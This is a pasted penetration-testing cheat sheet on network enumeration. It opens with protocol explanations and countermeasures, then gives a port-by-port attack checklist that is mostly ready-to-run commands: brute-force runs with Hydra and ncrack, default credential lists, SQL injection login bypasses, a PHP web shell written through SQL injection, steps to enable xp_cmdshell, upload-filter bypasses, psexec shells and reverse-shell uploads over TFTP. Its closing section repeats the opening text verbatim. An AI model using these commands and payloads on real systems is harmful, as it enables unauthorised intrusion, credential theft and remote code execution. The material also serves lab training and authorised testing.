Enumeration


SUBMITTED BY: DevilDawg

DATE: April 11, 2022, 8:25 a.m.

FORMAT: Text only

SIZE: 40.0 kB

HITS: 528

  1. 4. Enumeration
  2. After finding a vulnerability you will exploit it by enumeration. Enumeration is defined as the process of extracting user names, machine names, network resources, shares and services from a system. In this phase, the attacker creates an active connection to the system and performs directed queries to gain more information about the target. The gathered information is used to identify the vulnerabilities or weak points in system security and tries to exploit in the System gaining phase.
  3. Types of information enumerated by intruders:
  4. Network Resource and shares
  5. Users and Groups
  6. Routing tables
  7. Auditing and Service settings
  8. Machine names
  9. Applications and banners
  10. SNMP and DNS details
  11. Techniques for Enumeration
  12. Extracting user names using email ID's
  13. Extract information using the default password
  14. Brute Force Active Directory
  15. Extract user names using SNMP
  16. Extract user groups from Windows
  17. Extract information using DNS Zone transfer
  18. Services and Port to Enumerate
  19. TCP 53: DNS Zone transfer
  20. TCP 135: Microsoft RPC Endpoint Mapper
  21. TCP 137: NetBIOS Name Service
  22. TCP 139: NetBIOS session Service (SMB over NetBIOS)
  23. TCP 445: SMB over TCP (Direct Host)
  24. UDP 161: SNMP
  25. TCP/UDP 389: LDAP
  26. TCP/UDP 3368: Global Catalog Service
  27. TCP 25: Simple Mail Transfer Protocol (SMTP)
  28. NetBIOS Enumeration
  29. NetBIOS stands for Network Basic Input Output System. It Allows computer communication over a LAN and allows them to share files and printers.
  30. NetBIOS names are used to identify network devices over TCP/IP (Windows). It must be unique on a network, limited to 16 characters where 15 characters are used for the device name and the 16th character is reserved for identifying the type of service running or name record type.
  31. Attackers use the NetBIOS enumeration to obtain:
  32. List of computers that belong to a domain
  33. List of shares on the individual hosts on the network
  34. Policies and passwords
  35. Commands and tools used:
  36. Nbtstat: utility used to find protocol statistics, NetBIOS name table and name cache details
  37. Superscan: GUI tool used to enumerate windows machine
  38. Net view: command line tool to identify shared resources on a network
  39. SNMP Enumeration
  40. SNMP (Simple Network Management Protocol) is an application layer protocol which uses UDP protocol to maintain and manage routers, hubs and switches other network devices on an IP network. SNMP is a very common protocol found enabled on a variety of operating systems like Windows Server, Linux & UNIX servers as well as network devices like routers, switches etc.
  41. SNMP enumeration is used to enumerate user accounts, passwords, groups, system names, devices on a target system.
  42. It consists of three major components:
  43. Managed Device: A managed device is a device or a host (technically known as a node) which has the SNMP service enabled. These devices could be routers, switches, hubs, bridges, computers etc.
  44. Agent: An agent can be thought of as a piece of software that runs on a managed device. Its primary job is to convert the information into SNMP compatible format for the smooth management of the network using SNMP protocol.
  45. Network Management System (NMS): These are the software systems that are used for monitoring of the network devices.
  46. An agent running on every SNMP device will be providing access to a read and writable database. The database is referred to as the management information base (MIB) which is organized hierarchically and is a virtual database containing a formal description of all the network objects identified by a specific object identifier (OID) that can be managed using SNMP. It's a giant repository of values and settings. There is a manager involved in the process, and the manager will query the agent for various details.
  47. Community strings is a text string used to authenticate communications between the management stations and network devices on which SNMP agents are hosted. Community Strings travel in clear text over the network, hence are subject to network sniffing attacks. Community Strings are sent with every network packet exchanged between the node and management station.
  48. Two types of community strings:
  49. Read only: This mode permits querying the device and reading the information, but does not permit any kind of changes to the configuration. The default community string for this mode is “public.”
  50. Read Write: In this mode, changes to the device are permitted; hence if one connects with this community string, we can even modify the remote device ’s configurations. The default community string for this mode is “private.”
  51. when the community strings are left at the default settings, attackers take the opportunity and find the loopholes in it.
  52. Few tools:
  53. OpUtils Network Monitoring Toolset - http://www.manageengine.com
  54. SolarWinds ( best SNMP enumeration tool) - www.solarwinds.com
  55. command line tools: SNMP-WALK, SNMP-CHECK
  56. Countermeasures:
  57. Remove or disable SNMP agents on hosts
  58. Block port 161 at all perimeter network access devices
  59. Restrict access to specific IP addresses
  60. Use SNMPv3 (more secure)
  61. Implement the Group Policy security option called "Additional restrictions for anonymous connections"
  62. Access to null session pipes, null session shares, and IPsec filtering should also be restricted
  63. LDAP Enumeration
  64. The Lightweight Directory Access Protocol is a protocol used to access directory listings within Active Directory or from other Directory Services. A directory is usually compiled in a hierarchical and logical format, rather like the levels of management and employees in a company. LDAP tends to be tied into the Domain Name System to allow integrated quick lookups and fast resolution of queries. LDAP generally runs on port 389 and like other protocols tends to usually conform to a distinct set of rules (RFC's). It is possible to query the LDAP service, sometimes anonymously to determine a great deal of information that could glean the tester, valid usernames, addresses, departmental details that could be utilised in a brute force or social engineering attack.
  65. Tools:
  66. Jxplorer - http://www.jxplorer.org/
  67. LDAP Admin Tool - http://www.ldapsoft.com
  68. Countermeasures:
  69. Use NTLM or Basic authentication to limit access to known users only.
  70. By default, LDAP traffic is transmitted unsecured; use SSL technology to encrypt the traffic.
  71. Select a username different from your email address and enable account lockout.
  72. NTP Enumeration
  73. The Network Time Protocol is a protocol for synchronizing time across your network, this is especially important when utilizing Directory Services. There exists a number of time servers throughout the world that can be used to keep systems synced to each other. NTP utilizes UDP port 123. Through NTP enumeration you can gather information such as lists of hosts connected to NTP server, IP addresses, system names, and OSs running on the client system in a network. All this information can be enumerated by querying NTP server
  74. SMTP Enumeration
  75. The Simple Mail Transport Protocol is used to send email messages as opposed to POP3 or IMAP which can be used to both send and receive messages. SMTP relies on using Mail Exchange (MX) servers to direct the mail to via the Domain Name Service, however, should an MX server not be detected, SMTP will revert and try an A or alternatively SRV records. SMTP generally runs on port 25.
  76. SMTP enumeration allows us to determine valid users on the SMTP server. This is done with the help built-in SMTP commands, they are
  77. VRFY - This command is used for validating users.
  78. EXPN - This command tells the actual delivery address of aliases and mailing lists.
  79. RCPT TO - It defines the recipients of the message.
  80. Tool:
  81. NestScanTools Pro
  82. Countermeasures:
  83. Configure SMTP server either to ignore email messages to unknown recipients.
  84. Don’t include information like mail relay systems being used, Internal IP address or host information.
  85. Disable open relay feature.
  86. DNS Enumeration
  87. DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target systems. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses.
  88. DNS Zone Transfer used to replicate DNS data across a number of DNS servers or to back up DNS files. A user or server will perform a specific zone transfer request from a ―name server. If the name server allows zone transfers by an anonymous user to occur, all the DNS names and IP addresses hosted by the name server will be returned in human-readable ASCII text.
  89. Tools:
  90. nslookup
  91. maltego
  92. dnenum
  93. dnsrecon
  94. Countermeasures:
  95. Disable Zone transfer by untrusted hosts
  96. Ensure that private hostnames are not referenced to IP addresses within the DNS zone files of publicly accessible DNS servers.
  97. Use premium registration services.
  98. Scanning
  99. NMAP TCP quick
  100. > sudo nmap -Pn -v -sS -sV -sC -oN tcp-quick.nmap IP
  101. NMAP TCP Full
  102. > sudo nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN tcp-full.nmap -sV IP
  103. NMAP TCP - Repeat if extra ports found
  104. > sudo nmap -Pn -v -sS -A -oN tcp-extra.nmap -p PORTS IP
  105. NMAP UDP quick
  106. > sudo nmap -Pn -v -sU -sV --top-ports=30 -oN udp-quick.nmap IP
  107. NMAP UDP 1000
  108. > sudo nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T4 -oN udp-1000.nmap IP
  109. NMAP UDP - Repeat if extra ports found
  110. > sudo nmap -Pn -sU -A -oN udp-extra.nmap -p PORTS IP
  111. Enumeration
  112. FTP - Port 21
  113. Check for FTP version vulns
  114. Check for Anonymous login
  115. Check for Read access
  116. Check for Web root or root directories of any other accessible service
  117. Check for write access
  118. SSH - Port 22
  119. Check for SSH version vulns
  120. Check for User enumeration if necessary
  121. Check if host key was seen somewhere else
  122. Check if it prompts for a password - means password login is allowed for some users
  123. nmap -sV --script=ssh-hostkey -p22 IP
  124. Bruteforce if necessary with CeWL, Hydra, Patator, Crowbar, MSF (if port gets filtered, there's defense mechanisms - fail2ban)
  125. Telnet - Port 23
  126. Connect and check for service running
  127. SMTP - Port 25
  128. Check for SMTP vulns Check version with HELO / HELLO
  129. POP - PORT 110
  130. Connect using telnet
  131. user <username>
  132. pass <pass>
  133. LIST - to list emails
  134. RETR <email numbr> - To retrieve emails
  135. DNS - Port 53
  136. Might indicate a domain controller on Windows
  137. Check for zone transfer -
  138. Kerberos - Port 88
  139. Indication that its a DC
  140. Netbios - Port 139
  141. > nmblookup -A IP
  142. > nbtscan IP
  143. > On older hosts, this port servers SMB / SAMBA, scan by adding 'client min protocol = LANMAN1' to GLOBAL setting in /etc/samba/smb.conf or by using --option='client min protocol'=LANMAN1 with smbclient
  144. RPC - PORT 135
  145. > sudo nmap -sS -Pn -sV --script=rpcinfo.nse -p135 0
  146. > rpcinfo IP
  147. > rpcclient -U "" -N [ip]
  148. LDAP - Ports 389,636,3268,326
  149. > sudo nmap -sS -Pn -sV --script=ldap* -p389,636,3268,3269
  150. WEB - PORT 80 / 443
  151. NMAP Web
  152. > sudo nmap -Pn -sC -p80,443
  153. Checks
  154. Browse the webapp
  155. Check for usernames, keywords
  156. Check Web server vulns
  157. Check for Cgi's shellshock
  158. Check Certificates for hostname
  159. Check robots.txt
  160. Check sitemap.xml
  161. Check for known software - View source
  162. Check for default credentials
  163. Check for input validation - SQLi
  164. Check for OS Command execution
  165. Check for LFI / RFI
  166. Dirb
  167. > dirb IP
  168. > dirb with -X extensions based on web technology, .php,.asp,.txt,.jsp
  169. > dirb IP -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
  170. Gobuster
  171. > gobuster dir --url IP --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt
  172. > gobuster dir --url IP --wordlist /usr/share/seclists/Discovery/Web-Content/big.txt -k -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'
  173. Nikto
  174. > nikto -host IP
  175. SMB - Ports
  176. NMAP vuln scripts
  177. > sudo nmap -Pn --script=smb-proto* -p139,445
  178. > sudo nmap -Pn --script=smb-os-discovery.nse -p139,445
  179. > sudo nmap -Pn --script=smb-enum* -p139,445
  180. > sudo nmap -Pn --script=smb-vuln* -p139,445
  181. > nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse
  182. Check for Null logins
  183. > nmap --script smb-enum-shares -p 139,445
  184. > smbclient -L \\\\ip\\ -N
  185. > smbclient -m=SMB2 -L \\\\Hostname\\ -N
  186. Connect to a share with Null session
  187. > smbclient \\\\IP\\$Admin -N
  188. > smbmap -H IP
  189. > smbmap -u DoesNotExists -H IP
  190. > enum4linux -a IP
  191. Check permissions on a connect share
  192. > smb: \> showacls # enable acl listing
  193. > smb: \> dir # list directories with acls
  194. Mount share on local machine
  195. > sudo mount -t cifs //10.10.10.134/SHARENAME ~/path/to/mount_directory
  196. List share with credentials
  197. > smbmap -u USERNAME -p PASSWORD -d DOMAIN.TLD -H <TARGET-IP>
  198. Recursively list all files in share
  199. > smbmap -R -H <TARGET-IP>
  200. > smbmap -R Replication -H <TARGET-IP>
  201. With smbclient (recurse downloads all files)
  202. > smbclient //<TARGET-IP>/Replication
  203. > smb: \> recurse ON
  204. > smb: \> prompt OFF
  205. > smb: \> mget *
  206. Upload / Download specific files
  207. > smbmap -H <TARGET-IP> --download 'Replication\active.htb\
  208. > smbmap -H <TARGET-IP> --upload test.txt SHARENAME/test.txt
  209. NFS - Port 2049
  210. > showmount -e IP
  211. > mount -t nfs -o vers=3 10.1.1.1:/home/ ~/home
  212. > mount -t nfs4 -o proto=tcp,port=2049 127.0.0.1:/srv/Share mountpoint
  213. TFTPD - UDP 69
  214. > tftp client to connect
  215. > atftp is a better client
  216. > Can be used to read system files, MSSQL password mdf file
  217. Finding exploits
  218. Search on EDB and searchsploit
  219. Check each service on CVE details for RCE / LFI / RFI / SQLI issues
  220. Google search the with the service banner
  221. NETWORK ENUMERATION
  222. Network enum - Ports
  223. A quick checklist for possible attack vectors through the different ports
  224. TCP
  225. 21 - FTP
  226. Checks
  227. Check if you have anonymous access
  228. Check if you can upload a file to trigger a webshell through the webapp
  229. Check if you can download backup files to extract included passwords
  230. Check the version of FTP for exploits
  231. Commands
  232. Login to ftp server (for anonymous access, use "anonymous":"anonymous")
  233. ftp $ip
  234. FTP specific nmap scan
  235. nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip
  236. Tip: Before starting scans, set a bash variable to the IP address you are scanning likeip=10.11.1.1.Then the $ip value in the commands of this cheat sheet will be filled in automatically.
  237. 22 - SSH
  238. Checks
  239. Try easy username-password combinations
  240. Check for username enumeration vulnerabilities
  241. Check version for vulnerabilities
  242. (Only when getting desperate) Try brute force with Hydra, Medussa, ...
  243. Commands
  244. Nmap scan
  245. nmap -p 22000 -sV -Pn -T4 --script=ssh* $ip
  246. Brute force
  247. hydra -v -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 $ip ssh
  248. hydra -l gibson -P /tmp/alpha.txt -T 20 $ip ssh
  249. Connect through found key
  250. #make key only accessible by the current user
  251. chmod 0600 private.key
  252. ssh user@$ip -i user.key
  253. 25 - SMTP
  254. Checks
  255. Check for user enumeration
  256. Check version for exploits
  257. Commands
  258. nmap scan
  259. nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
  260. user enumeration
  261. #manual way
  262. nc -nvv $ip 25
  263. VRFY root
  264. (exists if user is replied as "250 Georgia<Georgia@>")
  265. (doesn't exist if user is replied as "551 user not local")
  266. #automated way
  267. smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
  268. 80/443 - HTTP(S)
  269. Checks
  270. Login portals
  271. try the default credentials off the application
  272. try usernames already seen throughout the application or in other services like SMTP
  273. try SQL injection bypasses
  274. try registering a new user
  275. brute force with hydra, medusa, ...
  276. Check robots.txt for hidden directories
  277. Brute force directories to find hidden content
  278. Check for passwords/URLs/versions/... in comments of web app
  279. Check version numbers for known exploits
  280. Check changelog for version information
  281. Estimate version based on copyright date (if not automatically adjusted)
  282. Check if specific CMS is used like WordPress and then use platform specific scanners
  283. ways to RCE
  284. check for file upload functionalities (if uploads are filtered, try alternative extensions)
  285. execute commands through SQLi
  286. Shellshock
  287. command injection
  288. trigger injected code through path traversal
  289. Enumeration scans
  290. Directory brute force
  291. #start of with general scan
  292. gobuster dir -u $ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log -t 50
  293. #add extensions
  294. gobuster dir -u $ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.log -t 100 -x php,txt,cgi,sh,pl,py -s "200,204,301,302,307,403,500"
  295. nmap scan
  296. nmap -sV -Pn --script=ssl-heartbleed,http-adobe-coldfusion-apsa1301.nse,http-apache-negotiation.nse,http-apache-server-status.nse,http-aspnet-debug.nse,http-auth-finder.nse,http-auth.nse,http-avaya-ipoffice-users.nse,http-awstatstotals-exec.nse,http-axis2-dir-traversal.nse,http-backup-finder.nse,http-barracuda-dir-traversal.nse,http-bigip-cookie.nse,http-brute.nse,http-cakephp-version.nse,http-cisco-anyconnect.nse,http-coldfusion-subzero.nse,http-comments-displayer.nse,http-config-backup.nse,http-cookie-flags.nse,http-cors.nse,http-cross-domain-policy.nse,http-csrf.nse,http-date.nse,http-default-accounts.nse,http-devframework.nse,http-dlink-backdoor.nse,http-dombased-xss.nse,http-domino-enum-passwords.nse,http-drupal-enum-users.nse,http-drupal-enum.nse,http-enum.nse,http-errors.nse,http-exif-spider.nse,http-feed.nse,http-fileupload-exploiter.nse,http-form-brute.nse,http-form-fuzzer.nse,http-frontpage-login.nse,http-git.nse,http-gitweb-projects-enum.nse,http-headers.nse,http-huawei-hg5xx-vuln.nse,http-iis-short-name-brute.nse,http-iis-webdav-vuln.nse,http-internal-ip-disclosure.nse,http-joomla-brute.nse,http-jsonp-detection.nse,http-litespeed-sourcecode-download.nse,http-ls.nse,http-majordomo2-dir-traversal.nse,http-mcmp.nse,http-method-tamper.nse,http-methods.nse,http-mobileversion-checker.nse,http-ntlm-info.nse,http-open-redirect.nse,http-passwd.nse,http-php-version.nse,http-phpmyadmin-dir-traversal.nse,http-phpself-xss.nse,http-proxy-brute.nse,http-put.nse,http-qnap-nas-info.nse,http-rfi-spider.nse,http-robots.txt.nse,http-security-headers.nse,http-server-header.nse,http-shellshock.nse,http-sitemap-generator.nse,http-sql-injection.nse,http-stored-xss.nse,http-svn-enum.nse,http-svn-info.nse,http-title.nse,http-tplink-dir-traversal.nse,http-trace.nse,http-traceroute.nse,http-trane-info.nse,http-unsafe-output-escaping.nse,http-useragent-tester.nse,http-userdir-enum.nse,http-vhosts.nse,http-vlcstreamer-ls.nse,http-vmware-path-vuln.nse,http-vuln-cve2006-3392.nse,http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,http-vuln-cve2015-1635.nse,http-vuln-cve2017-1001000.nse,http-vuln-cve2017-5638.nse,http-vuln-cve2017-5689.nse,http-vuln-cve2017-8917.nse,http-vuln-misfortune-cookie.nse,http-vuln-wnr1000-creds.nse,http-waf-detect.nse,http-waf-fingerprint.nse,http-webdav-scan.nse,http-wordpress-brute.nse,http-wordpress-enum.nse,http-wordpress-users.nse,http-xssed.nse,membase-http-info.nse -p 80 $ip
  297. webdav scanning
  298. davtest --url http://$ip
  299. davtest -move -sendbd auto -url http://$ip:8080/webdav/
  300. cadaver http://$ip:8080/webdav/
  301. Nikto scans
  302. nikto -host $ip | tee nikto.log
  303. Login portals
  304. brute force login portals
  305. #basic auth
  306. hydra -l user -P /usr/share/wordlists/rockyou.txt -f $ip http-get /path
  307. #login form
  308. hydra -L users.txt -P users.txt $ip http-post-form "<directory>:login_username=^USER^&secretkey=^PASS^&<rest of post request>:<error message>"
  309. #create custom password list
  310. cewl -w cewl_passlist.txt -d 5 10.11.1.39/otrs/index.pl
  311. Standard credentials you should try when being blocked by login portal
  312. admin:admin
  313. admin:password
  314. admin:administrator
  315. admin:(name of box)
  316. user:user
  317. user:password
  318. user:12345
  319. guest:guest
  320. root:root
  321. (name of box):(name of box)
  322. (default account):(name of application)
  323. Try SQL injections to bypass the login form
  324. ' or 1=1;--
  325. ' or '1'='1
  326. ' or 1=1;#
  327. ') or ('x'='x
  328. ' or <column> like '%';--
  329. ' or 1=1 LIMIT 1;--
  330. admin' --
  331. admin' #
  332. admin'/*
  333. ' or 1=1--
  334. ' or 1=1#
  335. ' or 1=1/*
  336. ') or '1'='1--
  337. ') or ('1'='1—
  338. ' or 1/*
  339. */ =1 --
  340. admin' or 'a'='a
  341. '#
  342. File upload
  343. Try alternative extensions for file uploads
  344. Php > upload as pHp / phP / test.php.jpg /
  345. php - phtml, .php, .php3, .php4, .php5, and .inc
  346. asp - asp, .aspx
  347. perl - .pl, .pm, .cgi, .lib
  348. jsp - .jsp, .jspx, .jsw, .jsv, and .jspf
  349. Coldfusion - .cfm, .cfml, .cfc, .dbm
  350. File traversal list
  351. Path Traversal Cheat Sheet: Windows | GracefulSecurity
  352. gracefulsecurity.com
  353. RCE through SQLi
  354. #Through file creation
  355. union all select "<?php echo shell_exec($_GET['cmd']);?>",2,3,4,5,6 into OUTFILE '/var/www/html/shell.php'
  356. #if running as database admin, use xp_cmdshell
  357. http://www.example.com/news.asp?id=1; exec master.dbo.xp_cmdshell 'command'
  358. '; exec master.dbo.xp_cmdshell 'command'
  359. #On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:
  360. EXEC sp_configure 'show advanced options', 1;--
  361. RECONFIGURE;--
  362. EXEC sp_configure 'xp_cmdshell', 1;--
  363. RECONFIGURE;--
  364. #On MSSQL 2000:
  365. EXEC sp_addextendedproc 'xp_anyname', 'xp_log70.dll';--
  366. If you use exploits for web apps but they don't work as expected: proxy network traffic through burp and see the sent requests
  367. 110 - POP3
  368. Checks
  369. Check version for exploits
  370. Check mails for the presence of credentials
  371. Commands
  372. manually login to the application
  373. #connect and check for banner
  374. telnet $ip 110
  375. #guess login credentials
  376. USER pelle
  377. PASS admin
  378. #list all emails
  379. list
  380. #retrieve email number 5 for example
  381. retr 5
  382. 111 - NFS/RPC
  383. Checks
  384. Check for passwords in files on mountable drives
  385. Commands
  386. #check general rpc info
  387. rpcinfo $ip
  388. #Check what shares you can mount
  389. showmount -e $ip
  390. #mounting the share
  391. #make the directory
  392. mkdir /mnt/share
  393. #mount the share
  394. mount -t nfs $ip:/share /mnt/share -nolock
  395. Keep mountable shares in mind as they might be used in root squashing attacks to elevate your privileges to root.
  396. 139/445 - SMB
  397. Checks
  398. Check for null sessions
  399. Check the permissions of users you already have
  400. Check for passwords in files
  401. Attempt brute force on enumerated users
  402. Check for EternalBlue
  403. Check samba version (if Linux)
  404. Commands (Automated)
  405. nmap scan
  406. #general scan
  407. nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse $ip -p 445
  408. #vulnerability scan
  409. nmap --script smb-vuln* -p 445 -oA nmap_smb_vulns $ip
  410. Check samba versions
  411. #save code below as samba_version.sh and make it executable
  412. ./samba_version.sh
  413. if [ -z $1 ]; then echo "Usage: ./samba_version.sh RHOST {RPORT}" && exit; else rhost=$1; fi
  414. if [ ! -z $2 ]; then rport=$2; else rport=139; fi
  415. tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$$"
  416. echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
  417. sleep 0.5 && echo ""
  418. enum4linux
  419. enum4linux -a $ip
  420. smbmap
  421. #list general folders
  422. smbmap -H $ip
  423. #recursively list dirs and files
  424. smbmap -R $sharename -H $ip
  425. smbmap -R "Users" -H $ip -u Guest
  426. #download a file
  427. smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q
  428. CrackMapExec
  429. #check if you can connect through null sessions (check what rights you have on the shares)
  430. cme smb $ip -u '' -p '' --shares
  431. cme smb $ip -u '' -p '' --shares --port 139
  432. #enumerate the users
  433. #rid brute forcing
  434. cme smb $ip -u "" -p "" --rid-brute
  435. #active sessions
  436. cme smb $ip -u '' -p '' --loggedon-users
  437. #users in general
  438. cme smb $ip -u '' -p '' --users
  439. #enumerate the groups
  440. #local groups
  441. cme smb $ip -u '' -p '' --local-groups
  442. #domain groups
  443. cme smb $ip -u '' -p '' --groups
  444. #check for the password policy
  445. cme smb $ip -u "" -p "" --pass-pol
  446. mount shares and inspect files manually
  447. #smbclient
  448. smbclient -L $ip
  449. smbclient //$ip/tmp
  450. smbclient \\\\192.168.1.105\\ipc$ -U john
  451. smbclient //$ip/ipc$ -U john
  452. #mounting the share
  453. mkdir /mnt/targetshare
  454. mount -t cifs \\172.16.20.88\ipc$ -o username=[username] /mnt/targetshare
  455. brute force smb
  456. hydra -l Administrator -P /usr/share/seclists/Passwords/darkweb2017-top100.txt $ip smb -V -f
  457. #in OSCP the passwords are often equal to the username
  458. hydra -L usernames.txt -P usernames.txt $ip smb -V -f
  459. Gaining shell through psexec (user needs to be admin)
  460. #copy script
  461. cp /usr/share/doc/python-impacket/examples/psexec.py .
  462. #specific command test
  463. python psexec.py <username>:<pass>@10.11.1.227 whoami
  464. #shell
  465. rlwrap python psexec.py <username>:<pass>@10.11.1.227
  466. #NOTE: be carefull with exclamation marks in passwords: rottenadmin:P@ssword123\!@192.168.194.140
  467. #through crackmapexec (didn't always work for me)
  468. cme smb 10.11.1.227 -u "backup" -p "backup" -x whoami
  469. 1433 - MSSQL
  470. Checks
  471. Try default credentials "sa:password"
  472. Brute force creds
  473. Check database content for new passwords
  474. Check version for exploits
  475. RCE
  476. through xp_cmdshell functionality
  477. through injecting payload in output file, placing it in webroot and triggering it through webapp
  478. Commands
  479. nmap
  480. nmap -p 1433 --script='banner,(ms-sql* or ssl*) and not (brute or broadcast or dos or external or fuzzer)' $ip -o 1433_nmap_mssql
  481. credential brute force
  482. nmap -p 1433 --script ms-sql-brute --script-args passdb=/usr/share/seclists/Passwords/darkweb2017-top1000.txt $ip
  483. manually logging in and gaining shell
  484. #login
  485. sqsh -S $ip -U sa -P password
  486. sqsh -S $ip:27900 -U sa -P password
  487. #execute commands
  488. xp_cmdshell 'date'
  489. go
  490. 3306 - MySQL
  491. Checks
  492. Try default credentials "root":""
  493. Brute force credentials
  494. Check database content for new passwords
  495. Check version for exploits
  496. Commands
  497. nmap
  498. nmap -sV -Pn --script=mysql-audit.nse,mysql-brute.nse,mysql-databases.nse,mysql-dump-hashes.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-query.nse,mysql-users.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse -p 3306 -o 3306_nmap_mysql $ip
  499. try default password
  500. mysql --host=$ip -u root -p
  501. 3389 - RDP
  502. Checks
  503. Check if you can login with default guest account and blank password
  504. Check if you can brute force users
  505. Check for BlueKeep
  506. Commands
  507. nmap
  508. nmap -p 3389 --script=rdp-enum-encryption,rdp-vuln-ms12-020 $ip -o 3389_nmap_rdp
  509. manually login
  510. rdesktop $ip
  511. #Try default guest account "guest":""
  512. rdesktop -u guest $ip -g 94%
  513. Start brute force
  514. ncrack -vv --user Administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
  515. ncrack -vv --user Administrator -P /usr/share/seclists/Passwords/darkweb2017-top100.txt rdp://$ip
  516. 5900 - VNC
  517. Checks
  518. check for easy VNC passwords
  519. check for exploits for VNC version
  520. brute force VNC password
  521. Commands
  522. nmap
  523. nmap -sV -Pn -p 5900 --script=vnc-info,vnc-title,realvnc-auth-bypass $ip -oA 5900_nmap_VNC
  524. VNC brute force on base password
  525. hydra -s 5900 -P /usr/share/seclists/Passwords/darkweb2017-top10.txt -t 30 $ip vnc
  526. UDP
  527. 53 - DNS
  528. Checks
  529. Try zone transfer
  530. Brute force subdomains
  531. Commands
  532. do DNS lookup specifying the DNS server
  533. nslookup
  534. #set nameserver to ip of box
  535. > server 10.10.10.13
  536. #ask for dns of box ip address
  537. > 10.10.10.13
  538. subdomain enumeration / brute force
  539. dig axfr @$ip test.htb
  540. fierce -dns ext.recon.lan -dnsserver 172.16.90.53
  541. gobuster dns -d ext.recon.lan -r 172.16.90.53 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
  542. 69 - TFTP
  543. Checks
  544. search for files to find sensitive info like passwords
  545. upload shells to trigger them in web app
  546. Commands
  547. nmap
  548. nmap -sU -p 69 --script tftp-enum.nse $ip
  549. Interact with TFTP protocol
  550. #setup the connection
  551. tftp 172.16.200.100
  552. #get a file
  553. tftp> get /etc/passwd
  554. #upload reverse shell
  555. tftp> put shell.php
  556. automated search sensitive files (Metasploit)
  557. msfconsole
  558. use tftpbrute
  559. set dictionary /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
  560. 161 - SNMP
  561. Checks
  562. Try the default community strings 'public' and 'private'
  563. Enumerate version of OS/ users /processes
  564. Commands
  565. nmap
  566. nmap -sU -p161 --script "snmp-*" $ip
  567. scan range of ip addresses for snmp strings
  568. #only try "public" and "private"
  569. onesixtyone -i targets.list
  570. #try 100+ community strings
  571. onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $ip
  572. enumerate information with known community string
  573. # enumerate windows users
  574. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
  575. # enumerates running processes
  576. snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.
  577. Types of information enumerated by intruders:
  578. Network Resource and shares
  579. Users and Groups
  580. Routing tables
  581. Auditing and Service settings
  582. Machine names
  583. Applications and banners
  584. SNMP and DNS details
  585. Techniques for Enumeration
  586. Extracting user names using email ID's
  587. Extract information using the default password
  588. Brute Force Active Directory
  589. Extract user names using SNMP
  590. Extract user groups from Windows
  591. Extract information using DNS Zone transfer
  592. Services and Port to Enumerate
  593. TCP 53: DNS Zone transfer
  594. TCP 135: Microsoft RPC Endpoint Mapper
  595. TCP 137: NetBIOS Name Service
  596. TCP 139: NetBIOS session Service (SMB over NetBIOS)
  597. TCP 445: SMB over TCP (Direct Host)
  598. UDP 161: SNMP
  599. TCP/UDP 389: LDAP
  600. TCP/UDP 3368: Global Catalog Service
  601. TCP 25: Simple Mail Transfer Protocol (SMTP)
  602. NetBIOS Enumeration
  603. NetBIOS stands for Network Basic Input Output System. It Allows computer communication over a LAN and allows them to share files and printers.
  604. NetBIOS names are used to identify network devices over TCP/IP (Windows). It must be unique on a network, limited to 16 characters where 15 characters are used for the device name and the 16th character is reserved for identifying the type of service running or name record type.
